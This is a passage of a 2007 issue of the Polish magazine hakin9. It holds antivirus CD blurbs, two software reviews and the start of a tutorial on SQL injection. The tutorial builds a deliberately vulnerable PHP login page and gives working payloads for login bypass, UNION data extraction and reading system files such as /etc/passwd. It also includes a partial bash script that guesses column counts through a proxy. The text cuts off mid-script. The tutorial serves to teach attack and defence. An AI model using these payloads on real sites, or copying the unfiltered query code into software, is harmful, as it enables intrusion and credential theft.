ków domowych i małych firm. W skład pakietu wcho-
dzą następujące moduły, takie jak: ochrona antywi-
rusowa, antispyware, firewall, ochrona poczty, anti-
spam, ochrona przed intruzami IDS oraz moduły kon-
troli rodzicielskiej i kontroli aplikacji. Narzędzie chroni
system poza standardowymi wirusami i robakami tak-
że przed oprogramowaniem szpiegującym i rootkita-
mi, co zapewnia pełną ochronę komputera. W wersji
2007 Internet Security posiada swoiste laboratorium
Zawartość CD
wykrywania wirusów, wykorzystując technologię De-
epGuard.
AVG Anti-Rootkit
AVG Anti-Rootkit jest silnym narzędziem z technologią
state-of-art do wykrywania i usuwania rootkit'ów. Rootki-
t'y służą do ukrywania złośliwych objektów na komputerze
takich jak trojany czy keyloggery. Jeżeli włamywacz wyko-
rzystuje technologię rootkit do tego, aby ukryć swoją obec-
ność, wtedy bardzo ciężko jest znaleźć złośliwe oprogra-
mowanie na komputerze. AVG Anti-Rootkit daje Ci możli-
wość znalezienia i usunięcia rootkita oraz zdemaskowania
złodzieja, którego ukrywa rootkit. Interface jest przejrzysty
i łatwy w obsłudze. Oprogramowanie zapewnia szybkie i
efektywne wykrywanie nawet obiektów NTFS-ADS
AVG Antywirus 7.5
Najnowsze wydanie narzędzia przeciwko wirusom firmy
Grisoft do użytku domowego na pojedyńczym kompute-
rze. Zapewnia najwyższy poziom wykrywalności dlatego
miliony użytkowników na świecie powierzyło bezpieczeń-
stwo swoich komputerów właśnie temu produktowi.
Poruszanie się po oprogramowaniu jest intuicyjne
i proste, samo narzędzie nie potrzebuje dużych zaso-
bów komputera i nie zwalnia jego pracy. AVG Anti-Vi-
rus umożliwia przeprowadzanie automatycznych aktuali-
zacji, oraz zapewnia ochrone w czasie rzeczywistym po-
przez nadzorowanie dzialających programów czy otwie-
ranych plików.
CureIT
Jest to darmowy anti-virus i anti-spyware bazujący na sil-
niku skanera Dr.Web Anti-virus, który pomoże Ci szyb-
ko przeskanować i wyleczyć komputer jeśli będzie to ko-
nieczne. Obsługuje stacje robocze wykorzystujące takie
systemy operacyjne jak MS Windows 95OSR2/ 98/Me/
NT 4.0/2000/XP/2003Vista.
Interface skanera jest przystosowywany odpowiednio
do wykrytego języka na danym komputerze, jeżeli lokalny
język nie zostanie wykryty domyślnie ustawiany jest angiel-
ski. Narzędzie zawiera aktualną bazę antywirusów na czas
pobrania, a aktualizacje są przeprowadzane, aż dwa razy
na godzinę. Aby korzystać z najświeższej bazy wirusów na-
leży ściągnąć ostatnia wersję Dr. Web CureIt, ponieważ na-
rzędzie nie zawiera bezpośredniej aktualizacji.
Serdeczne podziękowania dla firmy TTS Company za udostęp-
nienie programu EagleEyeOS Professional Severe w numerze
hakin9 8/2007. http://www.oprogramowaniekomputerowe.pl
Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie,
sprawdź ją na co najmniej dwóch napędach CD.
W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl
12
Narzędzia
hakin9 Nr 10/2007
www.hakin9.org
13
hakin9 Nr 10/2007
www.hakin9.org
Narzędzia
Directory Opus (DOpus) to flagowy produkt firmy GPSo-
ftware. DOpus jest menadżerem plików przeznaczonym
pod Windows’a (także pod najnowszą Vistę). Jego pierw-
sze wersje powstały na początku lat dziewięćdziesiątych.
Najnowsza wersja (9) dodaje wiele nowych funkcji, przez
co program jest lepszy. Jego układ oparty jest na panelach,
podobnie jak Total Commandera (TC), jednak DOpus posia-
da znacznie większe możliwości. Pierwszą bardzo dużą
zaletą jest podział na style, zakładki i panele. Interfejs jest
dowolnie konfigurowalny – możemy otworzyć tyle paneli, ile
tylko chcemy, w jakimkolwiek położeniu (horyzontalnie i wer-
tykalnie). Style natomiast są to predefiniowane układy paneli
– podwójny poziomy, pionowy, eksplorator, przezrocze,
obrazy czy pojedynczy – każdy z nich posiada inne prze-
znaczenie. Korzystanie z nich to sama przyjemność, gdyż
mamy możliwość innego prezentowania plików w zależności
od ich zawartości (możemy także definiować własne style).
Zakładki niczym się nie różnią od tych znanych z przegląda-
rek, jednakże możemy zapisać układ wszystkich zakładek
w folderze ulubionych i jednym kliknięciem przywracać stan
DOpus’a. Nie zabrakło obsługi protokołu FTP czy skompre-
sowanych plików. Bardzo przydatnym dodatkiem jest moż-
liwość wysyłania zdjęć do serwisu Flickr przy użyciu menu
kontekstowego – opublikujemy nasze ulubione zdjęcia bez
korzystania z przeglądarki. Niestety, jedynym mankamen-
tem DOpus’a są skróty klawiaturowe. Jest ich bardzo dużo i
trzeba się do nich przyzwyczaić, jednak bez większych pro-
blemów udało mi się je zmienić na te znane z TC. Doszli-
śmy do kolejnego etapu – konfiguracji. Ustawienia trzeba
liczyć w setkach (co jest zaletą). Autorzy programu posta-
nowili zamieścić wyszukiwarkę do poruszania się po usta-
wieniach. Ich modyfikowanie możemy zacząć od dźwięków,
przez udostępnianie, aż po integrację z systemem. Po kilku
dniach pracy z programem skorzystałem z tej ostatniej moż-
liwości i do teraz używam DOpus’a jako zamiennika Eksplo-
ratora Microsoftu. Integracja jest bezproblemowa tj. działają
menu kontekstowe, wszystkie foldery systemowe (Mój kom-
puter, Panel sterowania, itp.), dodana jest także możliwość
uruchamiania przez podwójne kliknięcie w dowolnym miej-
scu Pulpitu. Średnie zużycie pamięci przez DOpus’a wynosi
ok. 40 MB, ale w dzisiejszych czasach jest to rozsądna wiel-
kość, zważywszy na możliwości, jakimi dysponuje program.
Uruchamia się bardzo szybko (włącza się razem z syste-
mem i rezyduje w pamięci), a użytkownik nie odczuwa przy
tym żadnego dyskomfortu. Nie można w nim odnaleźć wad
Windowsowego menadżera plików – DOpus nie zawiesza
się, nawet przy przeglądaniu folderów z dużą ilością zdjęć
z miniaturkami.
Directory Opus jest programem posiadającym same
zalety i niemal nieograniczone możliwości, co czyni go nie-
zwykle przydatnym. Pomimo, że jest to program komercyj-
ny (po przeliczeniu kosztuje około 200zł), wart jest swojej
ceny i mogę go polecić każdemu użytkownikowi systemów
korporacji z Redmond.
Amadeusz Jasak
Producent: GP Software
System: Windows 2000/XP/2003/Windows Vista
Typ: Menadżer plików
Strona producenta: http://www.gpsoft.com.au
Strona dystrybutora: http://www.oprogramowaniekomputerowe.pl
Ocena: 5/5
Directory Opus 9
Rysunek 2.
Interface menadżera plików Opus9
Rysunek 1.
Zrzut ekranu oprogramowania Opus9
12
Narzędzia
hakin9 Nr 10/2007
www.hakin9.org
13
hakin9 Nr 10/2007
www.hakin9.org
Narzędzia
Każdy, kto rozpoczyna działalność gospodarczą, potrzebu-
je biznes planu, który określi opłacalność przedsięwzięcia.
Najprostszym na to sposobem jest zbudowanie mapy myśli
– wykresu dokładnie obrazującego wszystkie pomysły. I tu
przychodzi nam z pomocą program MINDMAP, który świet-
nie się do tego celu nadaje.
MINDMAP 5 Professional to aplikacja pozwalająca na
przygotowywanie prezentacji graficznych, które są pomoc-
ne przy tworzeniu różnego rodzaju projektów. Jej zaletą jest
również to, że może zobrazować strukturę firmy, a nawet
zadania, które mamy zamiar wykonać. Program pomaga
również w rozwiązywaniu różnego rodzaju problemów czy
też... tworzeniu drzewa genealogicznego.
Program jest idealny do przedstawiania zarówno pro-
stych, jak i profesjonalnych materiałów edukacyjnych.
Pasek narzędzi pozwala na zmianę struktury mapy myśli
oraz na dodawanie, usuwanie i edytowanie poszczegól-
nych jej części. Istnieje także możliwość używania sym-
boli, które pomagają w określeniu tematów, jak również
w ich zapamiętaniu. Do programu można importować
obrazki oraz wklejać cliparty. Tworząc nowy temat można
dodać do niego komentarz, notatkę, a nawet hiperłącze.
Jest też wiele możliwości formatowania tekstu oraz obraz-
ków, poczynając od zmiany czcionki aż po zaawansowa-
ne metody graficzne. W porządkowaniu tego wszystkie-
go pomaga nam drzewo, ukazujące całą strukturę mapy.
Boczny pasek pokazuje wszystkie strony w dokumencie,
co jest wręcz niezbędne przy edycji rozbudowanych map..
Bardzo przydatną funkcją jest możliwość ukrywania gałęzi
mapy – pozwala to zaprezentować główną ideę dokumen-
tu oraz jego poszczególne podtematy. Jedną z zalet pro-
gramu jest to, że choć dostępny w wersji angielskiej, to
obsługuje polskie znaki diakrytyczne. Gdy nasza mapa
nie mieści się na jednej stronie, istnieje możliwość rozbi-
cia jej na dwie lub więcej kart. Kolejną ciekawą funkcją pro-
gramu jest burza mózgów – pozwala ona tworzyć pomy-
sły i dyskutować o nich w grupie osób. Wystarczy zapi-
sać swoje myśli, a program przekształci je w mapę myśli,
którą możemy edytować, rozwijać i organizować. Pomię-
dzy poszczególnymi myślami tworzymy relacje, a następ-
nie je formatujemy. Burzę mózgów można ograniczyć cza-
sowo, ustawiając odpowiednią wartość we właściwościach
mapy. Aby urozmaicić naszą mapę myśli, można doda-
wać figury geometryczne, linie proste i krzywe oraz clipar-
ty. Profesjonalna baza clipartów, która zawiera ich aż 100,
sprawia, że tworzenie mapy myśli staje się bardziej atrak-
cyjne, a sam efekt – łatwiejszy w odbiorze. Całą naszą
pracę można zapisać w postaci projektu, który zajmuje nie-
wiele miejsca na dysku, a następnie wydrukować. I tu poja-
wia się problem, ponieważ podczas próby zapisu widzimy
komunikat informujący o błędnym działaniu programu – na
szczęście projekt zostaje mimo to zapisany. Kolejnym pro-
blemem jest fakt, że zapisanego projektu... nie da się otwo-
rzyć, co znacznie utrudnia pracę z programem. Producent
na swoim forum zapewnia jednak, że błąd pojawiający się
w wersji 5.0 jest wyeliminowany w wersji 5.0.1. Program
MINDMAP 5 pomaga stworzyć prezentację bardziej efek-
tywną oraz przedstawić ją w bardziej interesujący sposób
niż MS PowerPoint. Po zakończeniu pracy projekt możemy
eksportować do prezentacji PowerPointa, pliku graficzne-
go, a nawet strony internetowej. MINDMAP 5 Professio-
nal zaskakuje swoimi możliwościami oraz wbudowanymi
narzędziami. Program wart jest swojej ceny, choć nie każ-
dego będzie na niego stać. Uważam, że nadaje się on bar-
dziej dla firm niż do zastosowań domowych, ale na pewno
pomoże przy nauce nudnych tematów. Ciekawostką jest
to, że program poza systemem Windows działa również na
platformie Mac. Po instalacji zajmuje niewiele miejsca na
dysku (50MB). Niestety nie ma polskiej wersji językowej.
Pomoc programu jest bardzo dobra – porusza wszystkie
problemy związane z tworzeniem mapy, wadą jest jedynie
język angielski. Biorąc pod uwagę jego możliwości i cenę,
program jest wart uwagi.
Paweł Malinowski
Producent: Computer Systems Odessa
System: Windows XP
Typ: Mind Mapping
Strona producenta: http://www.conceptdraw.com
Strona dystrybutora: http://www.oprogramowaniekomputerowe.pl
Ocena: 4/5
ConceptDraw MINDMAP 5
Professional
Rysunek 3.
Zrzut ekranu programu MINDMAP 5 Professional
www.hakin9.org
hakin9 Nr 10/2007
14
Początki
Z
acznijmy od utworzenia przykładowej ta-
beli o nazwie wwwusers, zawierającej na-
stępujące pola:
id
,
name
,
login
,
pass
. W
tym celu skorzystamy z narzędzia mysql monitor,
które doskonale nadaje się do testowania wszel-
kich zapytań i wyłapywania błędów. Proces two-
rzenia tabeli został przedstawiony na Listingu 1.
Następnie, zgodnie z Listingiem 2. tworzy-
my prostą stronę internetową uwierzytelniającą
użytkowników na podstawie haseł znajdujących
się w bazie danych.
Podatność na ataki – źródło
problemu
Przedstawiony skrypt PHP używa zapytania
SELECT
do wybrania rekordu zawierającego poda-
ny login i hasło. Jeśli serwer w odpowiedzi zwró-
ci przynajmniej jeden rekord, użytkownik zostanie
zalogowany. Teoretycznie, zalogowanie bez zna-
jomości hasła jest niemożliwe. Niestety, skrypt
zawiera bardzo istotną lukę – dane pobierane od
użytkownika nie są w żaden sposób filtrowane.
Stanowią one część dynamicznie utworzonego
zapytania, przekazywanego do bazy. Oznacza
to, że osoba odwiedzająca stronę ma bezpośred-
ni wpływ na końcową formę zapytania! Brak lub
niedostateczne filtrowanie danych pobranych od
użytkownika może umożliwić wstrzyknięcie do-
datkowego kodu SQL do podstawowego zapyta-
nia. Stąd nazwa ataku – SQL Injection.
Zalogowanie bez
znajomości hasła
Wyobraźmy sobie sytuację, w której ktoś wpro-
wadzi w polu
Username
wartość
dave'-- _
(ostat-
ni znak to spacja), natomiast w polu
Password
– dowolny ciąg znaków, np.
nieznane
. Skrypt
po podstawieniu wartości obu pól utworzy ta-
kie oto zapytanie:
Ataki SQL Injection w
praktyce
Dawid Gołuński
stopień trudności
Bazy danych są dziś nieodłączną częścią nowoczesnych
aplikacji internetowych, takich jak sklepy internetowe czy
serwisy aukcyjne. Język SQL, używany do komunikacji z bazą,
choć oferuje wiele możliwości, stwarza też pewne zagrożenia.
Wystarczy moment nieuwagi, aby pozostawione bez kontroli
zapytanie posłużyło do przejęcia wrażliwych danych.
Z artykułu dowiesz się
• czym są, jakie niosą zagrożenia oraz na czym
polegają ataki SQL Injection,
• poznasz techniki używane podczas ataku,
• poznasz podstawowe metody obrony.
Co powinieneś wiedzieć
• powinieneś znać podstawy języka SQL,
• powinieneś znać podstawy administracji syste-
mem Linux oraz serwerem MySQL,
• powinieneś znać podstawy PHP, C oraz basha.
Ataki SQL Injection w praktyce
hakin9 Nr 10/2007
www.hakin9.org
15
SELECT * FROM wwwusers WHERE
login='dave'-- ' AND pass='nieznane'
Uwierzytelnienie przebiegnie dokład-
nie tak samo, jak w przypadku poda-
nia poprawnego hasła. Dzieje się tak
dlatego, że dwa myślniki oznaczają w
składni SQL komentarz, co sprawia,
że dalsza część zapytania zostaje
kompletnie zignorowana przez ser-
wer. Otrzymujemy więc zapytanie:
SELECT * FROM wwwusers WHERE
login='dave'
które zwróci wiersz zawierający wy-
raz
dave
w polu
login
.
Zalogowanie bez
loginu oraz hasła
Podając w pierwszym polu ciąg
nobody' OR 1=1--
, a w drugim – podob-
nie jak poprzednio – dowolny wyraz,
otrzymamy zapytanie:
SELECT * FROM wwwusers WHERE
login='nobody' OR 1=1
-- ' AND pass='nieznane'
Co można przetłumaczyć jako po-
każ wszystkie rekordy, w których pole
login
jest równe wyrazowi
nobody
al-
bo
1=1
. Drugie wyrażenie (
1=1
) jest za-
wsze prawdziwe dlatego mimo, że w
bazie nie ma użytkownika
nobody
, do-
pasowane zostaną wszystkie rekordy
zawarte w tabeli. W efekcie użytkow-
nik zostanie zalogowany.
Przechwycenie haseł
Skrypt odczytuje jedynie pierwszy
rekord zwrócony przez serwer. Dla-
tego stosując operator
OR
zobaczy-
my dane tylko pierwszego użytkow-
nika. Aby zmusić skrypt do wyświe-
tlenia kolejnych rekordów, zastosuje-
my kolejny operator –
LIMIT
, którego
wywołanie ma postać:
LIMIT {[offset,] row_count}
gdzie
offset
to przesunięcie określa-
jące, ile początkowych wierszy na-
leży pominąć, a
row _ count
to ilość
wierszy, którą chcemy otrzymać.
Dodając do poprzedniego zapytania
ciąg
LIMIT 1,1
zostaniemy zalogo-
wani jako kolejny, znajdujący się na
drugim miejscu tabeli – użytkownik
john _ usr
. Zwiększając dalej
offset
dojdziemy do hasła administratora.
Ograniczenia
Dotychczas wstrzykiwany kod stano-
wił jedynie parametry dla polecenia
SELECT
. Powstaje pytanie, czy istnieje
szansa na wykonanie kolejnego – nie-
zależnego od pierwszego – polecenia
w ramach jednego zapytania? Do roz-
dzielania komend służy znak średnika.
Po wprowadzeniu podczas logowania
ciągu
'; DROP TABLE wwwusers--
, koń-
Listing 1.
Budowa tabeli wwwusers
mysql>
CREATE TABLE
wwwusers
>
(
id int, name char
(
25
)
, login char
(
25
)
, pass char
(
25
))
;
mysql>
INSERT
INTO
wwwusers
>
VALUES
(
'1'
,
'Dave'
,
'dave'
,
'secretDBpass'
)
;
mysql>
INSERT
INTO
wwwusers
>
VALUES
(
'2'
,
'John'
,
'john_usr'
,
'johnpassword'
)
;
mysql>
INSERT
INTO
wwwusers
>
VALUES
(
'3'
,
'Paul'
,
'admin'
,
'pass-www'
)
;
mysql>
SELECT
*
FROM
wwwusers;
+
------+-------+----------+--------------+
| id | name | login | pass |
+
------+-------+----------+--------------+
| 1 | Dave | dave | secretDBpass |
| 2 | John | john_usr | johnpassword |
| 3 | Paul | admin | admin-www |
+
------+-------+----------+--------------+
3 rows
in
set
(
0.00 sec
)
Listing 2.
Strona login.php
<
HTML
>
<
BODY
>
<
FORM name=
"log_form"
method=
"POST"
>
Username:
<
INPUT type=
"edit"
name=
"user"
>
Password:
<
INPUT type=
"edit"
name=
"pass"
>
<
INPUT type=
"submit"
value=
"log in"
>
<
/FORM
>
<?
php
if
(
isset
(
$_POST
[
'user'
])
&&
isset
(
$_POST
[
'pass'
])
){
$user
=
$_POST
[
'user'
]
;
$pass
=
$_POST
[
'pass'
]
;
}
else
die
(
"Nie przeslano danych"
)
;
$conn
=
mysql_connect
(
"localhost"
,
"user"
,
"pass"
)
or
die
(
"Brak polaczenia z baza"
)
;
mysql_select_db
(
"baza_danych"
)
or
die
(
"Nie ma takiej bazy"
)
;
/* Utworzenie zapytania w oparciu o przekazane wartosci */
$query
= "SELECT * FROM wwwusers WHERE login=
'$user'
AND
pass=
'$pass'";
echo "
<
br
>
Zapytanie wyslane
do
bazy:
<
br
>
" .
$query
. "
<
br
>
";
/* Przeslanie zapytania do bazy */
$res
=
mysql_query
(
$query
)
;
if
(
!
$res
)
echo
"
<
br
>
" . mysql_error() . "
<
br
>
";
$record
=
mysql_fetch_row
(
$res
)
;
/* Jesli serwer znalazl rekord to uzytkownik zostaje zalogowany*/
if
(
$record
)
{
echo
"
<
br
>
Hello
<
b
>
$record[2]
<
/b
>
! Oto twoje dane:
<
br
><
br
>
";
echo "
<
TABLE border=1
><
tr
>
";
echo "
<
td
>
ID
<
/td
>
<
td
>
$record
[
0
]<
/td
><
/tr
>
";
echo "
<
tr
><
td
>
Name
<
/td
>
<
td
>
$record
[
1
]<
/td
>
";
echo "
<
tr
><
td
>
Login
<
/td
>
<
td
>
$record
[
2
]<
/td
>
";
echo "
<
tr
><
td
>
Pass
<
/td
>
<
td
>
$record
[
3
]<
/td
><
/tr
><
/TABLE
>
";
} else echo "
<
br
><
b
>
Podales zle haslo, lub login
<
/b
>
";
?>
<
/BODY
>
<
/HTML
>
hakin9 Nr 10/2007
www.hakin9.org
Początki
16
cowe zapytanie będzie wyglądało tak:
SELECT * FROM wwwusers WHERE
login='';DROP TABLE wwwusers
Zamiast spodziewanego efektu (skaso-
wanie tabeli) otrzymamy jednak błąd:
You have an error in your SQL syntax;
check the manual that corresponds to
your MySQL server version for
the right syntax to use
near ';DROP
Spowodowane jest to tym, że funkcja
mysql _ query()
nie pozwala wykonać
dwóch rozłącznych zapytań w cza-
sie jednego wywołania. Ogranicza to
znacznie zakres ataku - nawet w przy-
padku całkowitego braku kontroli da-
nych wejściowych. Mimo to, z pomocą
operatora
UNION
, istnieje możliwość wy-
konania dodatkowych instrukcji
SELECT
.
Pobieranie informacji z
innych tabel
Obok tabeli wwwusers tworzymy ta-
belę contact - zgodnie z Listingiem 4.
Aby wydobyć z niej informacje,
posłużymy się operatorem
UNION
.
Wpisując w formularzu:
nic' UNION SELECT name,number
FROM contact--
otrzymamy błąd:
The used SELECT statements have a
different number of columns
Należy tu zauważyć, że pierwszy (za-
warty w skrypcie PHP)
SELECT
wybie-
ra wszystkie cztery pola (symbol
*
) ta-
beli wwwusers, natomiast drugi – tylko
dwa. Problem można rozwiązać po-
przez wstawienie dowolnych wartości
liczbowych w miejsce brakujących pól.
Po wstawieniu liczb 1 i 2 końcowe za-
pytanie będzie wyglądało tak:
SELECT * FROM wwwusers WHERE
login='nic' UNION
SELECT 1, 2, name, number FROM contact
Jest ono jak najbardziej poprawne i
da w wyniku wszystkie rekordy tabeli
contact. Wynik nie zawiera rekordów
z tabeli wwwusers, ponieważ żaden z
nich nie został dopasowany (login
nic
nie istnieje).
Przebieg ataku
na bazę danych
Jeżeli atakujący nie posiada konta na
serwerze, a wynik skanowania por-
tów nie przyniósł rezultatów, kolejnym
krokiem w przełamaniu zabezpieczeń
serwera może być przeszukanie strony
WWW pod kątem błędów PHP/SQL.
Gdzie wstrzyknąć kod?
Na atak narażone są wszelkie miejsca
kontaktu użytkownik-skrypt, na które
odwiedzający stronę ma wpływ (mo-
że je modyfikować). Są to w szcze-
gólności:
• wszelkiego typu pola edycyjne,
• parametry przekazywane w ad-
resie URL,
• ciasteczka (cookies),
• ukryte pola formularzy,
• rozwijane listy wyboru,
• pola wyboru (checkbox, radio).
W przypadku słabo zabezpieczo-
nych stron internetowych zwykle
udaje się odnaleźć niefiltrowaną
zmienną wśród parametrów adre-
su URL. Mając do czynienia z lepiej
zabezpieczonymi witrynami, war-
to sprawdzić mniej oczywiste miej-
sca, jak np. listy wyboru. Programi-
ści często mylnie zakładają tu, że
użytkownik posiada wybór ograni-
czony jedynie do elementów rozwi-
janej listy. Nic nie stoi przecież na
przeszkodzie, aby stronę HTML za-
wierającą formularz z taką listą zapi-
sać na dysku, a następnie zmodyfi-
kować jedną z jej pozycji.
Czasem poszukiwania, ze wzglę-
du na dużą ilość potencjalnie niefil-
trowanych miejsc, wymagają nawią-
zania sporej ilości połączeń z ser-
werem WWW. Takie próby zostają
odnotowane w logach. Dlatego ata-
ki przeprowadzane są zwykle przy
użyciu serwerów pośredniczących
(proxy).
Serwer SQL
Aby klient mógł przeprowadzić jakąkol-
wiek operację na bazie danych, musi
istnieć serwer SQL. Rolą serwera jest
przyjmowanie zapytań od klientów, wy-
konywanie żądanych operacji na bazie
oraz przedstawianie wyników. Serwer
bazy danych zarządza również użytkow-
nikami i uprawnieniami. Do bardziej zna-
nych serwerów należą: MySQL, Post-
greSQL, MsSQL, Oracle. W tym arty-
kule skoncentrowano się głównie na ser-
werze MySQL, który jest jednym z naj-
popularniejszych – ze względu na szyb-
kość działania, otwartość kodu i przeno-
śność. Wiele opisanych technik powinno
znaleźć zastosowanie również w przy-
padku innych serwerów baz danych.
Rysunek 1.
Wpływ danych wejściowych na końcowe zapytanie
������������
�������
������������
��������
���������������������������������������������������������������
��������������������������������������
��������
��
����������
��
��������
�
Rysunek 2.
Oszukanie skryptu login.php przy pomocy operatora OR
Ataki SQL Injection w praktyce
hakin9 Nr 10/2007
www.hakin9.org
17
Serwer zwraca błąd
W zależności od tego, gdzie trafi
wstrzyknięty kod, komunikat błędu mo-
że informować o nieprawidłowej skład-
ni, nieistniejącej nazwie pola, błęd-
nej wartości dla pola danego typu itp.
Przypuśćmy, że zmieniając parametr
c
w adresie http://page-with-bug.com/
shop/index.php?pid=1&c=2 na
c=abc2
serwer zwrócił błąd:
Unknown column 'abc2' in 'where clause'
W takim przypadku można domyślić
się, że gdzieś w pliku index.php ist-
nieje funkcja konstruująca zapytanie
podobne do:
SELECT * FROM produkty_tab WHERE
c=$_GET['c']
Odczytana z tablicy
GET
zmienna
c
nie
jest ograniczona apostrofami, ponie-
waż programista nie przewidział wy-
stąpienia w tym miejscu wartości in-
nej niż liczbowa. Dlatego wstawienie
ciągu znaków
abc2
sprawia, że ser-
wer próbuje odwołać się do tej warto-
ści jak do nazwy pola, które – jak wy-
nika z komunikatu – nie istnieje.
Pierwszy zastrzyk
Wiedząc, że zmienna
c
musi być licz-
bą i nie jest ograniczona apostrofami,
można spróbować wykorzystać ope-
rator
UNION
w celu wstrzyknięcia do-
datkowego polecenia. Przypisanie
c=2
UNION SELECT 1--
utworzy zapytanie:
SELECT * FROM produkty_tab WHERE c=2
UNION SELECT 1--
Jeżeli skrypt nie dokona filtracji kodu,
a tabela produkty_tab okaże się za-
wierać większą liczbę kolumn – ser-
wer zwróci błąd:
The used SELECT statements have a
different number of columns
Liczba kolumn może zostać ustalo-
na poprzez kolejne wstawianie cyfr
po przecinkach, do momentu aż ser-
wer nie wyświetli błędu:
c=2 UNION SELECT 1,2--
c=2 UNION SELECT 1,2,3--
...
Niektóre tabele mogą zawierać dzie-
siątki kolumn, dlatego ustalenie wła-
ściwej liczby może zająć sporo cza-
su. Nasze zadanie może jednak zo-
stać w pełni zautomatyzowane skryp-
tem z Listingu 6.
Po przesłaniu zapytania z właści-
wą liczbą kolumn na stronie powinny
ukazać się wybrane cyfry. Jeżeli ich
nie widać, atakowany skrypt najpew-
niej wyświetla tylko pierwszy rekord.
Można temu zaradzić dodając opera-
tor
LIMIT 0
, który usunie wynik uzy-
skany z pierwszego polecenia
SELECT
.
Where are we, czyli
rekonesans
Po nawiązaniu komunikacji z bazą moż-
na przystąpić do rozpoznawania śro-
dowiska, w jakim pracuje atakowany
skrypt. Chcąc dowiedzieć się, na jakim
koncie serwera SQL pracuje skrypt, wy-
starczy skorzystać z wbudowanej funk-
Parę słów o UNION
UNION
jest operatorem pozwalającym scalić ze sobą wyniki dwóch lub większej ilo-
ści zapytań
SELECT
. Zrozumienie istoty jego działania jest niezmiernie ważne, gdyż
stanowi podstawę większości ataków. Wstrzyknięty kod z reguły trafia na koniec
zapytania dynamicznie utworzonego przez skrypt PHP. Atakujący nie ma możliwo-
ści zmiany zdefiniowanego na jego początku polecenia SQL, ani też dodania nowe-
go po średniku. Jedyną możliwością ingerencji jest wtedy użycie
UNION
. Schemat
wywołania tego operatora prezentuje się tak:
SELECT ... FROM ... UNION SELECT
... FROM ... UNION ....
W odpowiedzi na tak skonstruowane zapytanie serwer najpierw wykona pierwsze po-
lecenie
SELECT
, następnie drugie – dostawiając jego wynik do rezultatu pierwszego
polecenia itd. Każde z poleceń składowych może odwoływać się do różnych tabel,
pól, a także posiadać dodatkowe warunki i parametry, niezależne od pozostałych. Ist-
nieje tu jednak ograniczenie – każdy
SELECT
musi wybierać identyczną liczbę pól. Po-
nadto odpowiadające sobie pola powinny być tego samego typu (w innym przypadku
część serwerów odrzuci zapytanie).
Listing 3.
Prosty przykład użycia UNION
/* Wynik pierwszego zapytania SELECT */
SELECT
imie,nazwisko
FROM
tabela1
WHERE
imie=
'Jan'
+
------+----------+
| imie | nazwisko |
+
------+----------+
| Jan | Kowalski |
+
------+----------+
/* Wynik drugiego zapytania SELECT */
SELECT
miasto,kraj
FROM
tabela2
+
----------+--------+
| miasto | kraj |
+
----------+--------+
| Poznan | Polska |
| Warszawa | Polska |
+
----------+--------+
/* Zestawienia ze sobą wyników obu zapytań SELECT */
SELECT
imie,nazwisko
FROM
tabela1
WHERE
imie=
'Jan'
UNION
SELECT
miasto,kraj
FROM
tabela2
+
----------+----------+
| imie | nazwisko |
+
----------+----------+
| Jan | Kowalski |
| Poznan | Polska |
| Warszawa | Polska |
+----------+----------+
hakin9 Nr 10/2007
www.hakin9.org
Początki
18
cji
user()
, która zwróci potrzebne infor-
macje (w postaci user@host). Aby re-
zultat funkcji był widoczny, jej wywoła-
nie musi zostać umieszczone w miejscu
jednej z cyfr, które ukazały się na stronie
w trakcie ustalania liczby kolumn, np.:
SELECT 1,user(),3,4,5,6,7,8--
W uzyskaniu pozostałych informa-
cji pomocne mogą okazać się rów-
nież zmienne systemowe. Przykłado-
wo, aby dowiedzieć się, na jakim sys-
temie pracuje baza, można wykorzy-
stać zmienną
version _ compile _ os
,
której wartość ustali zapytanie:
SELECT @@version_compile
Zagłębianie się w system
Mając podstawowe informacje o kon-
cie oraz systemie, możemy pokusić
się o użycie funkcji
load _ file()
w ce-
lu odczytania plików konfiguracyjnych
systemu. Oczywiście podany jako pa-
rametr plik musi posiadać uprawnie-
nia zezwalające procesowi serwera
bazy na odczyt. Przykładami plików,
które często posiadają takie upraw-
nienia, a zarazem dostarczają istot-
nych informacji są:
• /etc/passwd,
• /etc/inittab,
• /etc/my.cnf,
• /etc/inetd.conf,
• httpd.conf,
• skrypty startowe rc,
• niektóre dzienniki serwera (w tym
logi SQL).
Poznanie dokładnej wersji syste-
mu zazwyczaj ogranicza się do od-
czytania pliku o nazwie w rodzaju
/etc/redhat-release. Taka informacja
zdradza umiejscowienie innych pli-
ków konfiguracyjnych – charaktery-
stycznych dla danej dystrybucji sys-
temu.
Czytanie skryptów PHP
Oprócz wspomnianych plików, czę-
sto możliwy jest odczyt źródeł apli-
kacji PHP. Źródła strony mogą za-
wierać niezakodowane hasła do
baz danych (przekazane do funkcji
mysql _ connect()
), jak również zdra-
Listing 4.
Budowa tabeli contact
mysql>
CREATE TABLE
contact
>
(
name char
(
25
)
, number char
(
25
)
;
mysql>
INSERT
INTO
contact
VALUES
(
'Mike'
,
'777-888-111'
)
;
mysql>
INSERT
INTO
contact
VALUES
(
'Tom'
,
'111-252-116'
)
;
mysql>
SELECT
*
FROM
contact;
+
------+-------------+
| name | number |
+
------+-------------+
| Mike | 777-888-111 |
| Tom | 111-252-116 |
+
------+-------------+
2 rows
in
set
(
0.00 sec
)
Listing 5.
Kod HTML listy wyboru
<
form name=
"locale"
method=
"post"
action=
"country.php"
>
<
b
>
Country/Region:
<
/b
><
br
>
<
SELECT name=
"country"
size=
"10"
>
<
option value=
"Afghanistan|en-in"
>
Afghanistan
<
/option
>
<
option value=
"' UNION SELECT 1,2-- "
>
' UNION SELECT 1,2--
<
/option
>
...
<
/SELECT
>
Listing 6.
Skrypt num_of_cols.sh odgadujący liczbę kolumn
#!/bin/bash
# Skrypt probuje odgadnac liczbe kolumn tabeli poprzez wstawienie
# ciagu: UNION SELECT 1-- w oznaczone
(
przez: _HERE_
)
miejsce adresu
# URL i stopniowe zwiekszanie liczby wybieranych cyfr -
do
momentu az serwer
# przestanie zwracac blad. Przed uruchomieniem trzeba ustawic zmienna PROXY
# Uzycie: ./script.sh
[
URL with _HERE_ keyword
]
[
number_of_tries
]
# Przyklad:
# ./script.sh
"http://sqlbug.com/show.php?var=1_HERE_&id=5&color=g"
30
SKIP=0;
PROXY=
"x.x.x.x:80"
;
sql=
"
%20
union
%20
SELECT
%201
--
%20
"
;
if
[
$#
-lt 1
]
; then
echo
"read ussage!"
;
exit
1; fi
if
[
$#
-eq 2
]
then
try_count=
$2
;
echo
-e
"Trying
$try_count
times
\n
"
else
try_count=40;
fi;
add_columns
()
{
sql=`
echo
$sql
